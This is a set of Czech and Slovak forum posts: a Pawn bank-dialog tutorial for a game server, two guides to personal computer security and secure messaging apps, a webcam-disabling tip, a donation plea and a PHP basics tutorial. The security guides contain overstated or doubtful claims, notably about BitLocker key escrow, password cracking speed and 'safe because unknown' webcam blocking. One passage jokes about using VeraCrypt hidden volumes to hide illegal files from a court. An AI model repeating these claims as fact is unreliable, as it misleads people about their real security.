hodnot a začneme například hodnotou 6666: enum { DIALOG_BANKA = 6666, DIALOG_BANKA_VLOZIT, DIALOG_BANKA_VYBRAT } Pro lajky OTEVŘENÍ DIALOGU BANKY Tady jsem raději zvolil způsob přes příkaz. Proč? Jelikož, sice je jednoduché přes pickup, ale takhle má alespoň člověk jistotu, že se otevře pouze jednou a u bankomatu. Začneme podmínkou, zda je u daných pozic(jednoho z) bankomatu: public OnPlayerCommandText(...) { if (!strcmp("/banka", cmdtext, true)) { if (IsPlayerInRangeOfPoint(playerid, 1.0, Banka_x, Banka_y, Banka_z)) {Pozice daného bankomatu si pak může každý uživatel přidat jaké chce. Pokračujeme přidáním akce, zda je na daných souřadnicích a to, že se mu ukáže dialog, v opačném případě vrátí zprávu s informací, že neni u bankomatu(na dané pozici): ShowPlayerDialog(playerid, DIALOG_BANKA, DIALOG_STYLE_LIST, "Banka", "Vložit peníze\nVybrat peníze\nStav konta", "Vybrat", "Zavrit"); }else return SendClientMessage(playerid, -1, "Nejsi u bankomatu");Samozřejmě, nesmíme zapomenout správně uzavřít všechny bloky a správné návratové hodnoty. BANKA A LISTY V DIALOGU Začneme zavoláním samotného callbacku pro dialogy a jako první si přepneme dialogid, kvůli rychlosti(i když skoro nepatrné): public OnDialogResponse(...) { switch(dialogid) {A abychom pak neměli problém s bloky, přidáme si všechny 3 podmínky na všechny dialogy rovnou a všem přidáme podmínku, pokud hráč stiskl druhé tlačítko(Zavřít), tak se "nic" nestane a dialog "se zavře". Dále přiřadíme správném návratové hodnoty, a i samotnému callbacku: case DIALOG_BANKA: { if (!response) return true; /* code */ return true; } case DIALOG_BANKA_VLOZIT: { if (!response) return true; /* code */ return true; } case DIALOG_BANKA_VYBRAT: { if (!response) return true; /* code */ return true; }Začneme hlavním dialogem a to DIALOG_BANKA. Ten bude nejsnadnější. Začneme opět přepnutím, a tentokrát listitemu, a oběma dialogům(vložit a vybrat), protože oba budou typu "input", tak je ukážeme hráči a přiřadíme jim jejich dialogid: case DIALOG_BANKA: { if (!response) return true; switch(listitem) { case 0: ShowPlayerDialog(playerid, DIALOG_BANKA_VLOZIT, DIALOG_STYLE_INPUT, "Banka", "Napište částku, kterou chcete vložit", "Potvrdit", "Zavrit"); case 1: ShowPlayerDialog(playerid, DIALOG_BANKA_VYBRAT, DIALOG_STYLE_INPUT, "Banka", "Napište částku, kterou chcete vybrat", "Potvrdit", "Zavrit");A poslední listitem bude spíše informační, tak si tam rovnou formátujeme množství peněz v bance a ukážeme to v dialogu hráči: case 2: { new s_vBance[43]; format(s_vBance, sizeof s_vBance, "Na kontě máš momentálně %i$", Banka[playerid]); ShowPlayerDialog(playerid, DIALOG_BANKA, DIALOG_STYLE_MSGBOX, "Banka", s_vBance, "Zavrit", ""); } } return true; }Další dialog bude případ, kdy vkládá peníze(DIALOG_BANKA_VLOZIT). Začneme základní podmínkou a na to použijeme naší fci, zda hráč píše pouze čísla. Pokud ne, vrátí mu to zprávu: if (!OnlyNumbers(inputtext)) return SendClientMessage(playerid, -1, "Můžete vepsat pouze čísla !");Pak samozřejmě, aby nemohl neustále vkládat 0$: if (strval(inputtext) == 0) return SendClientMessage(playerid, -1, "Nelze vložit 0$ !");A nakonec, zda počet peněz které vkládá není větší, než u sebe skutečně má: if (GetPlayerMoney(playerid) < strval(inputtext)) return SendClientMessage(playerid, -1, "Nemáte takový obnos peněz !");Pak už jen 2 operace. První, přiřadíme k naší proměnné Banka hodnotu, kterou již má a k ní přičteme počet peněz, které hráč vkládá, a druhá, odečteme hráči daný počet peněz: Banka[playerid] = Banka[playerid] + strval(inputtext); GivePlayerMoney(playerid, -strval(inputtext)); return true; }A posledním dialogem bude případ, kdy peníze vybírá(DIALOG_BANKA_VYBRAT). Opět, začneme základní podmínkou a na to použijeme naší fci, zda hráč píše pouze čísla. Pokud ne, vrátí mu zprávu: if (!OnlyNumbers(inputtext)) return SendClientMessage(playerid, -1, "Můžete vepsat pouze čísla !");Opět, aby nemohl neustále vybírat 0$: if (strval(inputtext) == 0) return SendClientMessage(playerid, -1, "Nelze vybrat 0$ !");Nakonec podmínku, zda peníze, které vybírá nejsou větší, než které v bance ve skutečni jsou: if (Banka[playerid] < strval(inputtext)) return SendClientMessage(playerid, -1, "Nemáte v bankce tolik peněz !");A na úplny konec už jen prohodíme obě operace, a to způsobem, že první, přiřadíme k naší proměnné Banka hodnotu, kterou již má a odečteme počet peněz, které hráč vybírá, a druhá, přičteme hráči daný počet peněz: Banka[playerid] = Banka[playerid] - strval(inputtext); GivePlayerMoney(playerid, strval(inputtext)); return true; } JAK NA VÍCE BANKOMATŮ? To je prosté. Buď si(například) zjistit všechny pozice a pak je v příkaze všechny kontrolovat: if (!strcmp("/banka", cmdtext, true)) { if ( IsPlayerInRangeOfPoint(playerid, 1.0, xxx, yyy, zzz) || IsPlayerInRangeOfPoint(playerid, 1.0, xxx, yyy, zzz) || IsPlayerInRangeOfPoint(playerid, 1.0, xxx, yyy, zzz) || IsPlayerInRangeOfPoint(playerid, 1.0, xxx, yyy, zzz) || IsPlayerInRangeOfPoint(playerid, 1.0, xxx, yyy, zzz) || IsPlayerInRangeOfPoint(playerid, 1.0, xxx, yyy, zzz) ) { ShowPlayerDialog(playerid, ...Nebo, skoro stejným způsobem: Deklarovat si pole s výčtem hodnot x-ové pozice, y-ové pozice a z-ové pozice a pak v cyklu je všechny zjistit najednou(něco na způsob): Je tu několik návodů, kde by se hodilo už udělat novější a vylepšenější variantu. Pokud budou dobré ohlasy, udělám další návody. PS: snad jsou všechny kódy správně. Testoval jsem a bylo funkční(až na úplně poslední, to jsem netestoval), pokud přecijen bude někde nějaká chyba, napište mi SZ, ať tu není zbytečně spam. PSS: Ano, jde to udělat ještě lépe, ale já jsem to chtěl zpracovat jednoduchou a snadně-pochopitelnou cestou. Děkuji.
  3. Hunterov úvod do bezpečnosti Základné tipy, ako zabezpečiť svoj počítač a svoje online účty. Tento návod predpokladá, že používate Windows. Toto nieje návod na štýl krok po kroku, skôr ide o súhrn vecí, ktoré by ste mali spraviť a aplikácií, ktoré vám s tým môžu pomôcť. Návody, ako jednotlivé kroky spraviť nájdete tipicky v odkazoch, ktoré som priložil, alebo pomocou Googlu. Ak máte nejaké pripomienky, napíšte mi ich prosím a ja tento návod prípadne upravím. 1 Základy Základné triky, ako zabrániť niekomu, aby sa dostal na vaše webové účty. 1.1 Bezpečné heslá Základom bezpečnosti je zvoliť si bezpečné heslá. Určite vám ludia povedali, že bezpečné heslo musí mať aspom 8 znakov, že musí obsahovať malé a velké písmená, čísla, znaky, hieroglify, motivačný slogan. Neverte im, sú to americký sabotéry. Takéto heslá sa ťažko pamätajú a niesu nijak zvlášť bezpečné. Ak chcete bezpečné heslo, nájdite si najbližší slovník a náhodne z neho vyberte 4 slová, odstráňte diakritiku a ak chcete ich vysklonujťe alebo ich nechajte tak a máte svoje heslo. Napríklad: "StolickaKlameVyslednemuRazu". Takéto heslo si oveľa jednoduchšie zapamätáte ako napríklad "qeP2Ub%L" a hádajte čo? Je aj bezpečnejšie. Ak váš slovník má 10 000 slov, tak sila tohoto hesla je 53 bitov, zatiaľ čo náhodné 8 znakové heslo má 50-52 bitov. A na rozdiel od náhodného hesla ho nemusíte mať napísané na lístočeku vedľa počítača, kde ho môže hocikto nájsť. 1.2 Správca hesiel (KeePass) No ale aj takýchto pekných hesiel si veľa nezapamätáte a používať rovnaké heslá na viacerých webstránkach je veľmi nebezpečné, preto je vhodné používať správcu hesiel (Password Manager). Já osobne odporúčam KeePass. KeePass vám vytvorí náhodné heslá a zašifrované vám ich uchová vo vašom počítači. Vaše heslá zostavajú u vás v PC, takže sa nemusíte báť, že niekto hackne KeePass, alebo, že KeePass prestane fungovať a vy o vaše heslá prídete, ako tomu je u podobných služieb od iných poskytovateľov. Ja osobne ukladám svoju databázu hesiel na Google Drive (Teraz tomu vraj hovoria google backup and sync? Čo tý ľudia v tom marketingovom oddelení hulia, keď si myslia, že takýto názov je lepší ako Drive fakt netuším. Kto vám v bežnej konverzácie bude hovoriť "Dám ti to na google backup and sync."?!). Vďaka tomu ju jednak nestratím, ak mi napríklad odíde disk na PC a jednak ju môžem používať na telefóne pomocou Keepass2Android. Ak máte svoju databázu v Google Drive neukladajte do nej heslo od Google, pretože sa k nemu bez tohoto hesla aj tak nedostanete. Takto by ste mohli prísť o všetky svoje heslá! Nemusíte sa báť, že by Google mal prístup k vašim heslám, databáza hesiel je šikovne šifrovaná pomocou vašeho hlavného hesla a používa taktiež PIM1. Každopádne taktiež používam rozšírenie ChromelPass, ktoré heslá píše z KeePass priamo do webových stránok, lebo lenivosť. Pozor: Heslo z KeePassu sa nedá resetovať, pretože ho nikto okrem vás nevie a databáza sa bez neho nedá nijak dešifrovať. 1.3 Antivirový program Dobrý antivírový program je základ pre bezpečnosť a je to jediná oblasť v tomto návode, kde by som odporučil zaplatiť nejaké peniaze, ak chcete byť naozaj v bezpečí. Ja osobne používam ESET Smart Security (zrejme zas premenovali na Internet Security, meh), ktorý je platený, ale som veľmi spokojný. Jednoduchá inštalácia a funguje bez nejakého extra nastavovania, čo je obzvlášť plus, ak nieste bezpečnostný expert a všetkým tým zložitým nastaveniam nerozumiete. Jediná vec, ktorú by ste mali vypnúť pri inštalácii je "detekcia potenciálne nechcených aplikácií", čo v preklade znamená, že vám ESET bude vrieskať na každú blbosť ako crack, cheat a podobne. A na detekciu takýchto vecí ja aj tak lepší MawareBytes, o ktorom hovorím v sekcii 1.5. Je dostupných taktiež viacero programov, ktoré sú zadarmo, ale s týmy, ktoré som skúšal som vždy mal nejaké problémy a neviem vám doporučiť žiadny najlepší. Jediné čo k tomu poviem je, držte sa ďalej od McAfee. Myslým, že oni tú predponu anti v slove antivírus pridali len preto, aby zmiatli súpera... Taktiež nepoužívajte 2 antivírové programy naraz, viď. sekcia 1.5. 1.4 2FA (Dvojfázové overenie) Niektoré webstránky umožňujú používať takzvané dvojstupňové overenie (Two Factor Authentication, 2FA). 2FA znamená, že sa pri prihlásení okrem hesla musíte ešte overiť pomocou napríklad svojho telefónu. Vysoko odporúčam si 2FA aktivovať minimálne pre váš Google účet (pamätajte, že na ňom máte databázu všetkých svojich hesiel, aj keď šifrovanú, ale heslo vám niekto môže dopozerať, keď ho píšete) a na váš mail (ak používate Gmail, tak máte 2 v jednom), pomocou ktorého vám niekto môže restovať všetky vaše heslá a dostať sa všade. POZOR: Vytvorte a odložte si záložné kódy!!! Ak sa niečo stane s vaším telefónom (stratíte, utopíte, pokazí sa) a nebudete mať záložné kódy, tak sa nedostanete do svojich účtov a všetko stratíte. Kódy od Google si vytlačte, najlepšie v dvoch kópiách a uložte na bezpečné miesto, prípadne jednu kópiu môžete nosiť v penaženke. Ostatné kódy si môžete uložiť napríklad aj do KeePass do poznámok k heslám. Neukladaje tam kódy od Google, keďže vaša databáza je na Google drive!! Pretože na Google drive a tým pádom ani do KeePass sa bez nich potom nedostanete. 1.5 MalwareBytes MalwareBytes je veľmi užitočný nástroj na skenovanie počítača. Na rozdiel od bežných antivírov je veľmi dobrý v hľadaní menej nebezpečných, ako napríklad rôzne reklamné vírusy, ktoré vám neustále zobtazujú nejaké stránky pre dospelých a podobne. Odporúčam si ho nainštalovať a spustiť sken raz za čas. Neodporúčam vám si zaplatiť za prémiovú verziu. Prémiová verzia vám iba umožňuje používať MalwareBytes ako bežný antivír. Avšak MalwareBytes nieje až tak dobrý v zastavovaní vírusov a používať dva antiviráky nieje dobrý nápad. Jednak zbytočne spomalíte svoj počítač. Ale hlavne dva antivíry sú ako dve frajerky, je fajn mať jednu trvalo a jednou... skenovať... raz za čas, ale skúsiť ich obe nasťahovať k sebe domov by dopadlo zle. Neustále by sa hádali a mohlo by to byť nakoniec horšie, než mať len jednu. 1.6 HTTPS a VPN Každý, kto sa dokáže pripojiť medzi vás a internet dokáže odpočúvať a aj meniť, čo odosielate a prijímate a to vrátane hesiel. To zahŕňa nielen vašeho providera internetu, ale napríklad aj každého s prístupom k vašemu routeru. Ak router nieje správne zabezpečený, môže to dokonca zahŕňať každého, kto je k routeru len pripojený. Preto je potreba používať HTTPS všade, kde to je možné. HTTPS šifruje vaše spojenie a vďaka tomu zabraňuje odpočúvaniu aj meneniu. Avšak nie všetky weby poskytujú https. Ak chcete bezpečne navštevovať aj tie, môžete použiť VPN. VPN šifruje vaše spojenie a vďaka tomu zabraňuje špehovaniu od všetkých vyššie vymenovaných lumpov. Ale pozor: Váš poskytovateľ VPN vidí všetko, čo by normálne videl váš internetový provider. Preto je dôležité si vybrať VPN, ktorá aspoň tvrdí, že neukladá žiadne údaje, aj keď toto tvrdenie sa nedá overiť. Preto neprestaňte používať HTTPS aj keď máte VPN. VPN má taktiež tú výhodu, že skryje vašu IP adresu. 1.7 Vypnite RDP Vypnite RDP! RDP je niečo ako Team Virewer len horšie a vstavané priamo vo Windowse. Často to je zapnuté defaultne. Vypnite to! A keď hovoríme o TeamVirewery, ten vypnite tiež, keď ho nepoužívate. Alebo ak neviete ako, tak ho rovno odinštalujte. Keď ho budete potrebovať znovu tak o pol roka, tak ho proste nainštalujete znovu. Aspoň budete mať najnovšiu verziu. PS: Ak RDP naozaj potrebujete, zvazte jeho zablokovanie na firewalle PC a tunelovanie cez SSH. Touto metodou odstranite vacsinu problemov, ktore nastavaju pri beznom pouziti RDP. Usitite sa, ze mate SSH spravne nastavene. 2 Silnejšie zabezpečenie (porazte súrodencov, aj FBI) Ako zabezpečiť svoj PC, ak sa útočník dokáže k nemu dostať fyzicky. 2.1 VeraCrypt Používať heslo na Windowse je asi tak efektívne, ako nalepiť lístoček s textom "Nepoužívať bez povolenia" na monitor. Nástroje ako OphCrack dokážu prelomiť aj 16-miestne heslá za niekoľko minút. A dané heslo nakoniec ani nepotrebujete. Stačí vybrať disk a pripojiť ho k inému PC alebo nabootovať iný operačný systém z CD/USB a možete prechádzať všetky súbory bez hesla. Jediný spôsob, ako tomuto zabrániť je šifrovať svoj disk a to umožnuje open-source program zvaný VeraCrypt. VeraCrypt je nasledovník TrueCryptu, keďže vývojári TrueCryptu sa dobrovoľne rozhodli projekt ukončiť a odporučiť všetkým, aby používali bitlocker (Určite americké tajné služby v tom nemali prsty, určite ich nepresvedčili, že odovzdať všetku moc Microsoftu je dobré pre ich zdravie). VeraCrypt dokáže šifrovať celý disk, alebo len niektoré súbory, alebo aj oboje rôznymi heslami. Taktiež používa PIM1 a dokáže aj vytvárať takzvané skryté sekcie. To umožňuje v podstate skryť súbory do iných šifrovaných súborov. Takže povedzme, že máte rôzne nelegálne hacky v PC a niekto vás dotiahne pred súd. Sudca vám prikáže rozšifrovať zašifrované súbory, inak vás pošle do vezenia, až dokým nevyzradíte heslo. A tak mu vaše heslo poviete, lenže všetko čo nájde sú len rôzne por... exotické videá. Naštvaný prokurátor sa vás opýta, aké je heslo k vašim skrytým súborom v týchto súboroch, ale vy mu poviete, že tam žiadne niesu. A to, či tam sú sa nijako nedá zistiť, takže vás musia pustiť. Potom si len zadáte svoje druhé heslo do VeraCryptu a veselo si hackujete ďalej. Je ale kritické, aby ste PC vypli, než sa k nemu niekto dostane, keďže heslo sa zadáva len pri zapnutí PC a zapnutý PC môže používať každý. 2.2 BitLocker Nepoužívajte bitlocker. Ak vás zaujíma prečo, čítajte ďalej, ak nie, preskočte na ďalšiu sekciu. Bitlocker je šifrovacia aplikácia podobná VeraCryptu, ktorá je vyrobená Microsoft a pribalená priamo v niektorých Windowsoch. BitLocker síce funguje podobne ako VeraCrypt, ale s tým rozdielom, že keď niečo zašifruje, tak kľúče odošle priamo Microsoftu. Takže v predchádzajúcom príklade o súde sudca dostane všetky klúče hneď od Microsoftu a nemusí sa vás pýtať na nič. Hneď idete bručet. A nielen to, ale stačí aby niekto napríklad získal vaše heslo od Microsoft účtu, alebo mailu, alebo nejak inak presvedčil Microsoft, že ste to vy a môže vám resetovať heslo. 2.3 Windows Heslo V sekcii 2.1 som napísal, že windows heslo samé o sebe je úplne neefektívne a to je aj pravda. Avšak Windows heslo môže byť užitočné v kombinácii s napríklad VeraCryptom. VeraCrypt pýta heslo len keď zapnete počítač. Lenže od zapnutého počítača musíte často na chvíľu odísť. Preto je vhodné si na tú chvíľu zhačknúť widnows+L alebo ctrl+alt+del alebo a vybrať "zamknúť". Obísť windows heslo bez vypnutia PC je zložité, aj keď nie nemožné. Pre Windows heslo vám stačí niečo jednoduché, napríklad len pár čísiel, alebo jedno dve slová/mená. Úlohou tohoto hesla je len odradiť náhodné mašírovanie od súrodencov, spolubývajúcich a kolegov na tú chvíľu, kým ste preč od PC. Môžete si taktiež nastaviť, aby sa vám PC zamkol po niekoľkých minútach bez používania. 2.4 Heslo na telefóne Pre androiďákov tu, ak chcete mať svoj telefón v bezpečí, je nutné si zapnúť šifrovanie telefónu v nastaveniach a taktiež šifrovanie karty SD, ak nejakú máte a chcete ju v bezpečí. Používanie odtlačku prstu nestačí, keďže odtlačky sa zatiaľ nedajú použiť na šifrovanie. Ak používate biometriku, nieje zlý nápad si taktiež stiahnuť aplikáciu typu FindMyPhone alebo niečo podobné, ktorá vám umožní zamknúť telefón na heslo na diaľku. Taktiež si pamätajte, že pre súd je ťažké a vo veľa krajinách nelegálne vás donútiť vyzradiť heslo, ale jednoduché vás donútiť priložiť prst k snímaču, alebo zobrať vaše odtlačky. 2.5 Súkromný chat (s telefónnym číslom) Pre bezpečný chat momentálne platí jednoduché pravidlo, čím bezpečnejšie, tým menej vychtávok ako napríklad nálepky a menej ľudí, ktorý to používajú. Najpoužívanejšia chatová aplikácia, ktorá je aspoň ako tak bezpečná je Messanger, keď používate tajné konverzácie. Messanger používa Signal protokol. Tento protokol je považovaný za veľmi bezpečný, avšak to, že používate tajné konverzácie je nápadné a FB ukladá metadáta. To znamená, že FB nevie, o čom si píšete, ale vie, kedy, s kým, ako dlho, koľko správ a približne ako dlhých. To nieje ideálne. Taktiež to funguje len cez telefón, nie PC. Taktiež vám appka pre telefón z telefónu kradne telefónne čísla a odosiela vašu polohu GPS. Druhá často používaná aplikácia je WhatsApp. Táto aplikácia používa Signal protokol na všetky konverzácie, aj na hlasové hovory. Avšak WhatsApp je momentálne vlastnený Facebookom, takže FB taktiež zbiera vaše metadáta (kdo, kde, kedy, s kým, koľko, ako dlho). Taktiež pre FB kradne vaše telefónne číslo, ako aj čísla všetkých vašich kontaktov v telefóne. Či kradne vašu GPS polohu momentálne neviem. Najbezpečnejšia, ale najmenej populárna apka je Signal. Áno, apka menom Signal používa Signal protokol na všetko. Ide o appku priamo od vývojárov Signal protokplu a verejne ju chválil aj Edward Snowden. Signal zaručuje, že neukladá žiadne metadáta ani telefónne čísla vašich kontaktov (aj keď ich odosielať pre fungovanie musí). Signal je Open-Source aplikácia a jej kód, vrátane kódu serveru si teda môžete overiť. Signal momentálne pracuje na spôsobe, ako overiť, že servery naozaj používajú zverejnený kód (a nie kód, ktorý ukladá informácie) pomocou Intel Trusted Platform. 2.6 Súkromný chat (bez telefónneho čísla) Bohužial, aplikácií ktoré nevyžadujú telefónne čisla nieje veľa a sú pomerne neznáme a nepoužívané. Ja osobne som zatiaľ skúšal Wire a Tox. Obe su open-source, ale ani jedna z nich ma nijak moc nenadchla. Wire je aplikácia, ktorá je zadarmo pre ľudí a platená pre firmy. Naposledy keď som ju skúšal bola plná bugov (aj keď na nej od tej doby zrejme zapracovali). Prešla však nezávislým auditom, čo znamená, že by mala byť relatívne bezpečná. Tox je nekomerčný projekt a používa P2P technológiu miesto serverov, takže nikto nemôže získavať metadáta. Avšak to taktiež znamená, že nemôžete poslať správu niekomu, kto nieje online, keďže nieje žiadny server, ktorý by mu ju zatiaľ podržal. Taktiež Tox neprešiel žiadnym auditom a jeho tvorcovia sa chovajú dosť nevhodne, čo sa bezpečnej aplikácie týka. Preto bezpečnosť toxu je značne pochybná. 3. Poznámky 1. PIM (Personal Iteration Multiplier) spôsobuje, že prevedenie hesla na kľúč trvá nejakú dobu, v prípadne KeePass 1-2 sekundy. Preto sa zdá, že otváranie KeePassu je pomalé. Ale vďaka tomu niekto, kto tipuje heslá taktiež musí čakať na každý pokus 1 sekundu (na každom jadre CPU, ktoré má). Takže napríklad prelomiť osemmiestne heslo, ktoré je len z číslic (napr. 8428 1158) by normálne trvalo na bežnom PC 5-10 minút bez PIM a cca 4 roky s PIM. PIM je super!
  4. Hunterov úvod do bezpečnej komunikácie Pokračovanie môjho návodu Hunterov úvod do bezpečnosti. Tentokrát sa zameriavam na bezpečnú komunikáciu cez internet. V tomto zozname som vybral len aplikácie, ktoré stoja za zváženie a majú rôzne výhody a nevýhody. Aplikácie, ktoré sú podobné alebo horšie ako uvedené som nespomínal, keďže nieje dôvod ich používať. 1. E-Mail 1.1 Proton mail Protonmail je email zameraný na bezpečnosť. Používa sa pomocou prehliadača alebo mobilnej aplikácie. Výhody: + Skoro každý má e-mail + E2E Šifrovanie, takže ani protonmail nemôže vidieť vaše správy + Hostované vo švajčiarsku, kde právo na súkromie je zakotvené v ústave Nevýhody: - Bezpečnosť v prehliadači je pochybná v porovnaní s aplikácoiu - Ak ten, s kým komunikujete nepoužíva proton mail, tak je šifrovanie zložitejšie a menej bezpečné. 1.2 Enigmail Enigmail je rozšírenie pre Mozilla Thunderbird. Umožnuje šifrovanie mailov pomocou GPG. Výhody: + Skoro každý má e-mail + Funguje s každým providerom e-mailu. + GPG je staré a dobre otestované Nevýhody: - GPG je veľmi zložité na správne použitie, ľahko spravíte kritickú chybu, ktorá znehodnotí vašu bezpečnosť 2. IM s telefónnym číslom 2.1 Signal Signal je aplikácia podobná whatsapp. Používa silné E2E šifrovanie pomocou Signal protokolu, takže provider nevidí obsah vašich správ. Signal neukladá metadáta, jedine čo sa ukladá je: dátum registrácie, dátum posledného prihlásenia. Výhody: + Podobné whatsapp, jednoduché na použitie. + E2E Šifrovanie, takže ani Signal nemôže vidieť vaše správy + Neukladá metadáta Nevýhody: - Hostované v USA, kde ochrana súkromia je porovnateľná s diktatúrami. - Vyžaduje telefónne číslo, ktoré každý, komu napíšete uvidí. 3. IM bez telefónneho čísla 3.1 XMPP XMPP je otvorený federovaný protokol. To že je otvorený znamená, že existuje viacero rôznych aplikácií, ktoré môžu komunikovať jedna s druhou. To že je federovaný znamená, že si môžete vybrať providera alebo hostovať uzol samy rovnako ako u emailu. Osobne používam Gajim ako PC klient, Conversations ako android klienta a dismail.de ako providera. Výhody: + Federovaný, umožnuje si vybrať providera s dobrým súkromím alebo hostovať vlastný server + Umožnuje E2E šifrovanie pomocou rozšírenie, používa variantu Signal protokolu zvanú OMEMO Nevýhody: - Veľmi zložitý na použitie - Klienti majú často nízku kvalitu - OMEMO je len rozšírenie, navyše ho veľa klientov nepodporuje - Neviem nájsť švajčiarsky server 3.2 Wire Wire je aplikácia, ktorá je zadarmo pre súkromné účely a platená pre komerčné použitie. Výhody: + Jasný plán speňaženia, profesionálny prístup + E2E šifrovanie, takže Wire nemôže čítať vaše správy + Jednoduchý na použitie Nevýhody: - Naposledy keď som testoval zabugovaný - Komerčná firma pravdepodobne nebude riskovať svoj biznis proti súdnym príkazom, možná spolupráca s vládou 4. Decentralizované IM 4.1 Tox Tox je decentralizovaná aplikácia, takže žiadna jedna firma nemôže sledovať vašu aktivitu a je velmi zložité Tox zavrieť, podobne ako Torrenty. Tox je otvorený a má viacero klientov podobne ako XMPP. Výhody: + Decentralizovaný + Viac klientov, používam qTox a zdá sa, že má dobrú kvalitu + Samozrejme E2E šifrovanie (v decentralizovanom systéme je nutné). Nevýhody: - Nemôžete posielať správy offline používateľom, keďže neexistuje server, ktorý by ich uchovával - Užívateľa musíte pridať pomocou pseudo-náhodného textu a nie zapamätateľného užívateľského mena. 5. YOLO kategória 5.1 Deamonsaw Deamonsaw je aplikácia, ktorá využíva sociálnu kryptografiu a každý môže hostovať vlastný server. Server neukladá žiadne informácie. Výhody: + Extrémna bezpečnosť a súkromie + Celkom pekná aplikácia Nevýhody: - Najnovšia verzia nieje open-source - Socialna kryptografia je otravná - Neukladá správy, takže keď ste offline sa vám stratia - Žiadny rozumný človek by niečo takéto nikdy nepoužíval 6. Sociálne siete 6.1 Mastodon Mastodon je federovaná sociálna sieť podobná twitteru. Výhody: + Veľmi pekná stránka, možno krajšia ako twitter + Federovaná, takže sa môžete sami rozhodnúť, komu zveríte svoje dáta + Môžeťe svoje dáta stiahnuť a nahrať na iný uzol, ak zmeníte názor Nevýhody: - Ako sociálna sieť nemá E2E šifrovanie, takže musíte veriť uzlom a neposielať citlivé údaje - Chvíľu trvá si zvyknúť na štýl stránky, ktorý je veľmi odlišný od twitteru. 6.2 Diaspora* Diaspora* je federovaná sociálna sieť, ktorá chce konkurovať Facebooku. Myšlienka je síce pekná, ale zatiaľ to nieje konkurencieschopné. Výhody: + Celkom jednoduchý systém podobný Google+ + Federovaná, takže sa môžete sami rozhodnúť, komu zveríte svoje dáta + Môžeťe svoje dáta stiahnuť a nahrať na iný uzol, ak zmeníte názor Nevýhody: - Ako sociálna sieť nemá E2E šifrovanie, takže musíte veriť uzlom a neposielať citlivé údaje - Nemá skupiny, ktoré sú dôležitou súčasťou FB - Celkovo pomerne nedokončená sociálna sieť, čo sa funkcií týka 7. Doplnkové 7.1 Privatebin Privatebin je služba podobná pastebinu, avšak umožňuje E2E symetrické šifrovanie (zamknutie na heslo). Môžete hostovať vlastný server, alebo použiť verejný. Okrem bežného zdieľania je taktiež vďaka funkcii vymazania po prvom prečítaní vhodný na zdieľanie informácií vo verejnom prostredí. Napríklad ak by som chcel v chate na pawno.cz niekomu dať svoj email (a neexistovali by súkromné správy), stačilo by ho vložiť do pastu a nastaviť na jedno prečítanie. Potom ho poslať do pawno chatu. Ten komu som ho chcel poslať by si ho prečítal a ak by niekdo neskôr prišiel a chcel ho získať, už by bol smazaný. Výhody: + E2E šifrovanie, heslo + kľúč v linku + Jednoduché hostovanie vlastného serveru aj na free hostingoch. + Umožňuje vymazať paste po prvom prečítaní a zároveň nastaviť dobu vypršania. + Šifruje E2E aj keď nezadáte heslo, heslo je automaticky vložené do linku. Nevýhody: Nevidím žiadne 7.2 Ghostbin Ghostbin je služba podobná pastebinu a privatebinu. Umožňuje E2E symetrické šifrovanie (zamknutie na heslo). Má krajšie formátovanie kódu ako privatebin, avšak horšiu bezpečnosť. Výhody: + E2E šifrovanie + Pekná prodpora pre rôzne programovacie jazyky. Nevýhody: - Bez hesla nešifruje, takze silné heslo je extra dôležité (na rozdiel od privatebinu) 8. Čo tu chýba V tomto návode chýba služba na zdieľanie súborov. Počul som dobré veci o OnionShare a zaujímavo vyzerá aj Magic Wormhole. Nič menej keďže som tieto aplikácie osobne neskúšal, netrúfam si ich tu odporúčať alebo hodnotiť. Taktiež tu chýba cloudové riešenie. Ja osobne momentálne preferujem Nextcloud, ale taktiež ho nemám dostatočne dlho na to, aby som hodnotil. Zaujal ma aj Seafile. Podobné je owncloud. Možno aj Least Authority S4 a spideroak.
  5. Nazdars. Určite poznáte tú paranoju, keď ste na laptope, pozeráte napr. Shreka, či iné a máte strach, že niekto vás sleduje cez Vašu webkameru. Môžete sa síce vyhovárať na to, že máte pri kamere indikátor zapnutia (čiže by ste vedeli, že Vás sledujú), ja ho tam napr. nemám, ale keď už majú Vašu citlivú fotku, už je neskoro. Okrem teda prelepenia kamery existuje teda aj elegantnejšie riešenie a to Vám predvediem. Blokovanie driverov Spustite Device manager (Správca zariadení) cez Štart, prípadne cez Run zadajte "devmgmt.msc" Nájdite tam svoju kameru (Zariadenia na spracovanie obrázkov -> Webcam) Kliknite "Zakázať" Resetnite PC Otestovať či to funguje je jednoduché. Stačí otvoriť Skype > Nástroje > Možnosti > Nastavenie videa a uvidíte, že nič neuvidíte. Opätovne spustiť kameru sa dá kliknutím na Povoliť namiesto Zakázať. Je to bezpečné? Áno. Písal som to na viaceré stránky a hovoril som o tom viacerým ľuďom, nikto o niečom takom nepočul a teda keďže nikto to takto neblokuje, vírusy to nemajú prečo riešiť. Pre absolútnu paranoju je tiež možné odstrániť ovládače úplne. Tie sa bez admin-práv nedajú opätovne nainštalovať, vírusy tiež nemajú prístup k Windowsovej databáze driverov (tá ajtak nikdy nefunguje), tj. nevedia aký driver nainštalovať.
  6. https://www.youtube.com/watch?v=wWCJQ2_Pyww
  7. pls dejte mi donate pro více takových funkčních návodu: StudioEtenity@gmail.com (to je email na paypal pošlete něco pls pls pls)
  8. Obsah : Open tagy Proměnné Operátory Open tagy : V zásadě používáme dva typy tagů prvním je klasický <?php ?> a <?= ?> Jaký je mezi nimi rozdíl ? První typ ja základní a používá se pro veškeré php programování. Ten druhý je takový tweak pokud například chcete do html vypsat obsah proměnné či funkce. //"plné tagy" <?php echo $_SERVER["REMOTE_ADDR"];?> //"tweak" tagy <?=$_SERVER["REMOTE_ADDR"]?> Existuje ještě tzv. krátke open tagy ( short open tags ) které musí být povolené webovým serverem. <? echo $_SERVER["REMOTE_ADDR"];?> Proměnné : PHP umí pracovat se skoro všemi standardními datovými type ale není přísně typový jako třeba C#. To znamená že do jedné proměnné lze uložit jakýkoliv datový typ. $var = 1337; $var = 13.37; $var = "1337"; $var = true; Nějaké základní typy jsou : integer,string,float,bool,array,object,null a resource Operátory : přidělovací porovnávací operátor kontroly chyb aritmetické tečkový operátor spaceship Přidělovací: Přidělovací operátor = ( rovnítko ). Přidělování hodnot proměným. $var = 1337; Porovnávací: Máme jich hned několik první skupině budeme říkat datové , druhé hodnotové a třetí šipkové. Nejsou to žádná oficiální pojmenování. Datové: Dvojité rovnítko ( == ). Porovná zda li jsou hodnoty na obou stranách podobné. 1 == 1 //true 1 == "1" //true 1 == true //true Hodnotové: Trojité rovnítko (===). Porovnává zda jsou hodnoty stejné 1 === 1 //true 1 === "1" //false 